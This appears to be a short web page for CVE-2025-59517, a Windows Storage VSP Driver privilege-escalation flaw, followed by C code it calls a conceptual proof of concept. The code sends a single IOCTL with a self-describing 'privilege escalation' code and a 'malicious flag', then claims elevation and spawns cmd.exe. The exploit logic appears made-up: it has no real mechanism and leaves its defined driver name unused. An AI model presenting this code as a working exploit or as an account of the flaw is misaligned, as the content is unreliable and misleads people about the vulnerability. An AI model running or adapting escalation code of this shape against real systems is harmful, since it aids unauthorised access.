CVE-2025-59517 Windows Storage VSP Driver权限提升漏洞

// CVE-2025-59517 Windows Storage VSP Driver EoP PoC (Conceptual) // This is a conceptual proof-of-concept for educational purposes only #include <windows.h> #include <stdio.h> // Vulnerable driver interface constants #define VSP_DRIVER_NAME L"storvsc.sys" #define IOCTL_VSP_PRIVILEGE_ESCALATION 0x9A0D1234 typedef struct _VSP_BUFFER { DWORD Size; DWORD Flags; PVOID UserData; } VSP_BUFFER, *PVSP_BUFFER; int main() { HANDLE hDevice; DWORD bytesReturned = 0; VSP_BUFFER vspBuffer = {0}; printf("[*] CVE-2025-59517 Windows Storage VSP Driver EoP PoC\n"); printf("[*] Target: Windows Storage VSP Driver\n"); // Open handle to the vulnerable driver hDevice = CreateFileA("\\\\.\\VSPDriver", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open device handle\n"); return 1; } printf("[+] Device handle opened successfully\n"); // Prepare malicious buffer to trigger privilege escalation vspBuffer.Size = sizeof(VSP_BUFFER); vspBuffer.Flags = 0x00000001; // Malicious flag vspBuffer.UserData = NULL; // Send IOCTL request - driver does not properly validate privileges BOOL result = DeviceIoControl(hDevice, IOCTL_VSP_PRIVILEGE_ESCALATION, &vspBuffer, sizeof(vspBuffer), NULL, 0, &bytesReturned, NULL); if (result) { printf("[+] IOCTL request sent - privilege escalation triggered\n"); printf("[+] Current process should now have elevated privileges\n"); // Verify privilege escalation HANDLE hToken; TOKEN_ELEVATION tokenElevation; DWORD tokenLength; if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) { if (GetTokenInformation(hToken, TokenElevation, &tokenElevation, sizeof(tokenElevation), &tokenLength)) { if (tokenElevation.TokenIsElevated) { printf("[+] SUCCESS: Process is running with elevated privileges!\n"); printf("[+] Spawning elevated shell...\n"); system("cmd.exe"); } } CloseHandle(hToken); } } else { printf("[-] IOCTL request failed with error: %d\n", GetLastError()); } CloseHandle(hDevice); return 0; } // Mitigation: Apply Microsoft security update KB5055523 or later